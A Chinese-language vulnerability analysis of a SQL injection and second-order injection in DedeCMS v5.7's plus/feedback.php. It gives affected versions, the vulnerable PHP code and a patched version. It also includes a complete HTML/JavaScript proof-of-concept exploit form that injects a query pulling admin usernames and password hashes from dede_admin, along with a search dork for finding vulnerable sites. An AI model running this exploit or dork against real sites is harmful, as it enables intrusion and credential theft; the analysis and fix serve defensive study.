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1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
1. Dedecms v5.7的plus\feedback.php SQL没有正确验证用户提供的输入，在实现上中存在注入漏洞 2. 攻击者可以利用DEDECMS的变量覆盖漏洞向数据库中注入WEBSHELL Payload 3. 在另一个代码流，攻击者可以触发二次注入
Relevant Link:
http://sebug.net/vuldb/ssvid-60549 http://www.venustech.com.cn/NewsInfo/124/17697.Html http://www.sorry404.com/chengxuwenti/20140504/47.html
2. 漏洞触发条件
0x1: POC
<html>
<head>
<title>DedeCms v5.7 feedback.php exp</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language=‘javascript‘>
y = document.form1.addr.value;
function exploit()
{
var yanzhen = document.getElementById("yanzhen").value;
var aid = document.getElementById("aid").value;
var sqli = document.getElementById("sqli").value;
document.form1.typeid.value = "0‘,‘3‘,‘4‘,‘5‘,‘0‘,‘1351739660‘, ‘0‘,‘0‘,‘0‘,‘0‘,‘0‘,‘aaaaaa‘), (‘" + aid +"‘,‘2‘,@`‘`,‘4‘,‘5‘,‘1‘,‘1351739660‘, ‘0‘,‘0‘,‘0‘,‘0‘,‘0‘,"+sqli+")#";
document.form1.action = document.form1.addr.value + "/plus/feedback.php";
document.form1.te.name = "action";
document.form1.submit();
}
function getyanzhen()
{
var x = "<img src=‘"+ document.form1.addr.value +"/include/vdimgck.php‘ width=‘60‘ height=‘24‘ onclick=\"this.src=this.src+‘?‘\">";
document.body.innerHTML+=x;
document.form1.addr.value = y;
}
function look()
{
window.location.href = document.form1.addr.value+"/plus/feedback.php?aid="+document.getElementById("aid").value;
}
</script>
</head>
<body>
############################################################<br/>
DedeCms v5.7 feedback.php $typeid SQLi<br/>
Dork:inurl:plus/feedback.php?aid=<br/>
############################################################<br/><br/>
<form action="xxx" method="get" name="form1" target="_blank">
程序URL:<input type="text" id="addr" value="http://" /><br/>
验证码:<input type="text" name="validate" id="yanzhen" value=""/><br/>
存在的Aid:<input type="text" id="aid" value="1"/><br/>
SQL注入语句:<input type="text" id="sqli" value="(SELECT concat(uname,0x5f,pwd,0x5f) FROM `dede_admin`)" style="width:500px;"/><br/>
<input type="hidden" name="" id="te" value="send"/>
<input type="hidden" name="comtype" value="comments"/>
<input type="hidden" name="fid" value="1"/>
<input type="hidden" name="isconfirm" value="yes"/>
<input type="hidden" name="msg" value="90sec"/>
<input type="hidden" name="typeid" value=""/>
<input type="button" onclick="getyanzhen();" value="获取验证码">
<input type="button" onClick="exploit()" value="#Exploit#" />
<input type="button" onClick="look()" value="查看结果" /><br/>
</form>
</body>
</html>
Relevant Link:
http://www.oday.pw/WEBanquan/111312.html
3. 漏洞影响范围
<= dedecms 5.7
4. 漏洞代码分析
\plus\feedback.php
..
//保存评论内容
if($comtype == ‘comments‘)
{
$arctitle = addslashes($title);
if($msg!=‘‘)
{
//$typeid变量未做初始化
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES (‘$aid‘,‘$typeid‘,‘$username‘,‘$arctitle‘,‘$ip‘,‘$ischeck‘,‘$dtime‘, ‘{$cfg_ml->M_ID}‘,‘0‘,‘0‘,‘$feedbacktype‘,‘$face‘,‘$msg‘); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(‘ 发表评论错误! ‘, ‘-1‘);
//echo $dsql->GetError();
exit();
}
}
}
//引用回复
elseif ($comtype == ‘reply‘)
{
$row = $dsql->GetOne("Select * from `#@__feedback` where id =‘$fid‘");
//未对数据库查询的$row[‘arctitle‘]进行有效过滤，造成二次注入
$arctitle = $row[‘arctitle‘];
$aid =$row[‘aid‘];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg,2);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES (‘$aid‘,‘$typeid‘,‘$username‘,‘$arctitle‘,‘$ip‘,‘$ischeck‘,‘$dtime‘,‘{$cfg_ml->M_ID}‘,‘0‘,‘0‘,‘$feedbacktype‘,‘$face‘,‘$msg‘)";
$dsql->ExecuteNoneQuery($inquery);
}
..
Relevant Link:
http://www.yunsec.net/a/security/web/jbst/2012/1103/11816.html
5. 防御方法
\plus\feedback.php
//保存评论内容
if($comtype == ‘comments‘)
{
$arctitle = addslashes($title);
/* 增加规范化、过滤逻辑 */
$typeid = intval($typeid);
$ischeck = intval($ischeck);
$feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
/**/
if($msg!=‘‘)
{
//$typeid变量未做初始化
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES (‘$aid‘,‘$typeid‘,‘$username‘,‘$arctitle‘,‘$ip‘,‘$ischeck‘,‘$dtime‘, ‘{$cfg_ml->M_ID}‘,‘0‘,‘0‘,‘$feedbacktype‘,‘$face‘,‘$msg‘); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(‘ 发表评论错误! ‘, ‘-1‘);
//echo $dsql->GetError();
exit();
}
}
}
//引用回复
elseif ($comtype == ‘reply‘)
{
$row = $dsql->GetOne("Select * from `#@__feedback` where id =‘$fid‘");
//未对数据库查询的$row[‘arctitle‘]进行有效过滤，造成二次注入
$arctitle = $row[‘arctitle‘];
/* 增加转义逻辑 */
$arctitle = addslashes($row[‘arctitle‘]);
/* */
$aid =$row[‘aid‘];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg,2);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES (‘$aid‘,‘$typeid‘,‘$username‘,‘$arctitle‘,‘$ip‘,‘$ischeck‘,‘$dtime‘,‘{$cfg_ml->M_ID}‘,‘0‘,‘0‘,‘$feedbacktype‘,‘$face‘,‘$msg‘)";
$dsql->ExecuteNoneQuery($inquery);
}
6. 攻防思考
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时间： 2024-10-11 09:14:11